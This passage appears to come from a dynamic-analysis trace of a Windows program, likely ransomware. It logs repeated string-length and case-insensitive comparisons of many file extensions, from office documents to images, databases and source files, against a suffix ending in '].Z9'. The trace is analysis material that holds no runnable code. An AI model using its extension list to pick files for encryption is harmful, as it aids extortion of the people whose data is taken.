	[0070.254] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".asx") returned 4
	[0070.254] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".avi") returned 4
	[0070.254] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".avs") returned 4
	[0070.254] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".backup") returned 7
	[0070.254] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0070.254] lstrlenW (lpString=".bak") returned 4
	[0070.255] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".bay") returned 4
	[0070.255] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".bd") returned 3
	[0070.255] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0070.255] lstrlenW (lpString=".bin") returned 4
	[0070.255] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".bmp") returned 4
	[0070.255] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".bz2") returned 4
	[0070.255] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".c") returned 2
	[0070.255] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0070.255] lstrlenW (lpString=".cdr") returned 4
	[0070.255] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".cer") returned 4
	[0070.255] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".cf") returned 3
	[0070.255] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0070.255] lstrlenW (lpString=".cfc") returned 4
	[0070.255] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".cfm") returned 4
	[0070.255] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".cfml") returned 5
	[0070.255] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0070.255] lstrlenW (lpString=".cfu") returned 4
	[0070.255] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".chm") returned 4
	[0070.255] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".cin") returned 4
	[0070.255] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0070.255] lstrlenW (lpString=".class") returned 6
	[0070.255] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0070.255] lstrlenW (lpString=".clx") returned 4
	[0070.256] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".config") returned 7
	[0070.256] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0070.256] lstrlenW (lpString=".cpp") returned 4
	[0070.256] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".cr2") returned 4
	[0070.256] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".crt") returned 4
	[0070.256] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".crw") returned 4
	[0070.256] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".cs") returned 3
	[0070.256] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0070.256] lstrlenW (lpString=".css") returned 4
	[0070.256] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".csv") returned 4
	[0070.256] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".cub") returned 4
	[0070.256] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".dae") returned 4
	[0070.256] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".dat") returned 4
	[0070.256] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".db") returned 3
	[0070.256] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0070.256] lstrlenW (lpString=".dbf") returned 4
	[0070.256] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".dbx") returned 4
	[0070.256] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".dc3") returned 4
	[0070.256] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".dcm") returned 4
	[0070.256] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0070.256] lstrlenW (lpString=".dcr") returned 4
	[0070.257] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".der") returned 4
	[0070.257] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dib") returned 4
	[0070.257] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dic") returned 4
	[0070.257] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dif") returned 4
	[0070.257] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".divx") returned 5
	[0070.257] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0070.257] lstrlenW (lpString=".djvu") returned 5
	[0070.257] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dng") returned 4
	[0070.257] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".doc") returned 4
	[0070.257] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".docm") returned 5
	[0070.257] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0070.257] lstrlenW (lpString=".docx") returned 5
	[0070.257] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dot") returned 4
	[0070.257] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dotm") returned 5
	[0070.257] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dotx") returned 5
	[0070.257] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dpx") returned 4
	[0070.257] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dqy") returned 4
	[0070.257] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dsn") returned 4
	[0070.257] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0070.257] lstrlenW (lpString=".dt") returned 3
	[0070.257] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0070.258] lstrlenW (lpString=".dtd") returned 4
	[0070.258] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".dwg") returned 4
	[0070.258] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".dwt") returned 4
	[0070.258] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".dx") returned 3
	[0070.258] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0070.258] lstrlenW (lpString=".dxf") returned 4
	[0070.258] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".edml") returned 5
	[0070.258] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0070.258] lstrlenW (lpString=".efd") returned 4
	[0070.258] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".elf") returned 4
	[0070.258] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".emf") returned 4
	[0070.258] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".emz") returned 4
	[0070.258] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".epf") returned 4
	[0070.258] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".eps") returned 4
	[0070.258] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".epsf") returned 5
	[0070.258] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0070.258] lstrlenW (lpString=".epsp") returned 5
	[0070.258] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0070.258] lstrlenW (lpString=".erf") returned 4
	[0070.258] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".exr") returned 4
	[0070.258] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".f4v") returned 4
	[0070.258] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0070.258] lstrlenW (lpString=".fido") returned 5
	[0070.258] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0070.259] lstrlenW (lpString=".flm") returned 4
	[0070.259] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".flv") returned 4
	[0070.259] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".frm") returned 4
	[0070.259] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".fxg") returned 4
	[0070.259] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".geo") returned 4
	[0070.259] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".gif") returned 4
	[0070.259] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".grs") returned 4
	[0070.259] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".gz") returned 3
	[0070.259] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0070.259] lstrlenW (lpString=".h") returned 2
	[0070.259] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0070.259] lstrlenW (lpString=".hdr") returned 4
	[0070.259] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".hpp") returned 4
	[0070.259] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".hta") returned 4
	[0070.259] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".htc") returned 4
	[0070.259] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".htm") returned 4
	[0070.259] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".html") returned 5
	[0070.259] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0070.259] lstrlenW (lpString=".icb") returned 4
	[0070.259] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".ics") returned 4
	[0070.259] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0070.259] lstrlenW (lpString=".iff") returned 4
	[0070.260] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".inc") returned 4
	[0070.260] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".indd") returned 5
	[0070.260] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0070.260] lstrlenW (lpString=".ini") returned 4
	[0070.260] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".iqy") returned 4
	[0070.260] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".j2c") returned 4
	[0070.260] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".j2k") returned 4
	[0070.260] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".java") returned 5
	[0070.260] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0070.260] lstrlenW (lpString=".jp2") returned 4
	[0070.260] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".jpc") returned 4
	[0070.260] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".jpe") returned 4
	[0070.260] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".jpeg") returned 5
	[0070.260] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0070.260] lstrlenW (lpString=".jpf") returned 4
	[0070.260] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".jpg") returned 4
	[0070.260] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".jpx") returned 4
	[0070.260] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".js") returned 3
	[0070.260] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0070.260] lstrlenW (lpString=".jsf") returned 4
	[0070.260] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0070.260] lstrlenW (lpString=".json") returned 5
	[0070.260] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0070.260] lstrlenW (lpString=".jsp") returned 4
	[0070.261] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".kdc") returned 4
	[0070.261] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".kmz") returned 4
	[0070.261] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".kwm") returned 4
	[0070.261] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".lasso") returned 6
	[0070.261] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0070.261] lstrlenW (lpString=".lbi") returned 4
	[0070.261] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".lgf") returned 4
	[0070.261] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".lgp") returned 4
	[0070.261] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".log") returned 4
	[0070.261] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".m1v") returned 4
	[0070.261] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".m4a") returned 4
	[0070.261] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".m4v") returned 4
	[0070.261] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".max") returned 4
	[0070.261] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".md") returned 3
	[0070.261] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0070.261] lstrlenW (lpString=".mda") returned 4
	[0070.261] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".mdb") returned 4
	[0070.261] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".mde") returned 4
	[0070.261] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0070.261] lstrlenW (lpString=".mdf") returned 4
	[0070.261] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mdw") returned 4
	[0070.262] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mef") returned 4
	[0070.262] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mft") returned 4
	[0070.262] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mfw") returned 4
	[0070.262] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mht") returned 4
	[0070.262] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mhtml") returned 6
	[0070.262] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mka") returned 4
	[0070.262] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mkidx") returned 6
	[0070.262] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mkv") returned 4
	[0070.262] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mos") returned 4
	[0070.262] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mov") returned 4
	[0070.262] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mp3") returned 4
	[0070.262] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mp4") returned 4
	[0070.262] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mpeg") returned 5
	[0070.262] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mpg") returned 4
	[0070.262] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0070.262] lstrlenW (lpString=".mpv") returned 4
	[0070.263] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".mrw") returned 4
	[0070.263] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".msg") returned 4
	[0070.263] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".mxl") returned 4
	[0070.263] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".myd") returned 4
	[0070.263] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".myi") returned 4
	[0070.263] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".nef") returned 4
	[0070.263] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".nrw") returned 4
	[0070.263] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".obj") returned 4
	[0070.263] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".odb") returned 4
	[0070.263] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".odc") returned 4
	[0070.263] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".odm") returned 4
	[0070.263] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".odp") returned 4
	[0070.263] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".ods") returned 4
	[0070.263] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".oft") returned 4
	[0070.263] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0070.263] lstrlenW (lpString=".one") returned 4
	[0070.263] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".onepkg") returned 7
	[0070.264] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0070.264] lstrlenW (lpString=".onetoc2") returned 8
	[0070.264] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0070.264] lstrlenW (lpString=".opt") returned 4
	[0070.264] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".oqy") returned 4
	[0070.264] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".orf") returned 4
	[0070.264] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".p12") returned 4
	[0070.264] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".p7b") returned 4
	[0070.264] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".p7c") returned 4
	[0070.264] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".pam") returned 4
	[0070.264] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".pbm") returned 4
	[0070.264] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".pct") returned 4
	[0070.264] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".pcx") returned 4
	[0070.264] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".pdd") returned 4
	[0070.264] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".pdf") returned 4
	[0070.264] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0070.264] lstrlenW (lpString=".pdp") returned 4
	[0070.265] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0070.265] lstrlenW (lpString=".pef") returned 4
	[0070.265] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0070.265] lstrlenW (lpString=".pem") returned 4
	[0070.265] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0070.265] lstrlenW (lpString=".pff") returned 4
	[0070.265] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0070.265] lstrlenW (lpString=".pfm") returned 4
	[0070.265] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0070.265] lstrlenW (lpString=".pfx") returned 4
	[0070.265] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0070.265] lstrlenW (lpString=".pgm") returned 4
	[0070.265] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0070.265] lstrlenW (lpString=".php") returned 4
	[0070.265] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0070.265] lstrlenW (lpString=".php3") returned 5
	[0070.265] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0070.265] lstrlenW (lpString=".php4") returned 5
	[0070.265] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0070.265] lstrlenW (lpString=".php5") returned 5
	[0070.265] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0070.265] lstrlenW (lpString=".phtml") returned 6
	[0070.265] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0070.265] lstrlenW (lpString=".pict") returned 5
	[0070.266] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0070.266] lstrlenW (lpString=".pl") returned 3
	[0070.266] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0070.266] lstrlenW (lpString=".pls") returned 4
	[0070.266] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0070.266] lstrlenW (lpString=".pm") returned 3
	[0070.266] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0070.266] lstrlenW (lpString=".png") returned 4
	[0070.266] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0070.266] lstrlenW (lpString=".pnm") returned 4
	[0070.266] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0070.266] lstrlenW (lpString=".pot") returned 4
	[0070.266] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0070.266] lstrlenW (lpString=".potm") returned 5
	[0070.266] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0070.266] lstrlenW (lpString=".potx") returned 5
	[0070.266] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0070.266] lstrlenW (lpString=".ppa") returned 4
	[0070.266] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0070.266] lstrlenW (lpString=".ppam") returned 5
	[0070.266] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0070.266] lstrlenW (lpString=".ppm") returned 4
	[0070.266] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0070.266] lstrlenW (lpString=".pps") returned 4
	[0070.266] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0070.266] lstrlenW (lpString=".ppsm") returned 5
	[0070.266] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0070.266] lstrlenW (lpString=".ppt") returned 4
	[0070.266] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0070.266] lstrlenW (lpString=".pptm") returned 5
	[0070.266] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0070.267] lstrlenW (lpString=".pptx") returned 5
	[0070.267] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0070.267] lstrlenW (lpString=".prn") returned 4
	[0070.267] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".ps") returned 3
	[0070.267] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0070.267] lstrlenW (lpString=".psb") returned 4
	[0070.267] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".psd") returned 4
	[0070.267] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".pst") returned 4
	[0070.267] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".ptx") returned 4
	[0070.267] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".pub") returned 4
	[0070.267] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".pwm") returned 4
	[0070.267] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".pxr") returned 4
	[0070.267] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".py") returned 3
	[0070.267] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0070.267] lstrlenW (lpString=".qt") returned 3
	[0070.267] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0070.267] lstrlenW (lpString=".r3d") returned 4
	[0070.267] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".raf") returned 4
	[0070.267] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".rar") returned 4
	[0070.267] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0070.267] lstrlenW (lpString=".raw") returned 4
	[0070.267] lstrcmpiW (lpString1=".raw", lpString2="].Z9") returned -1
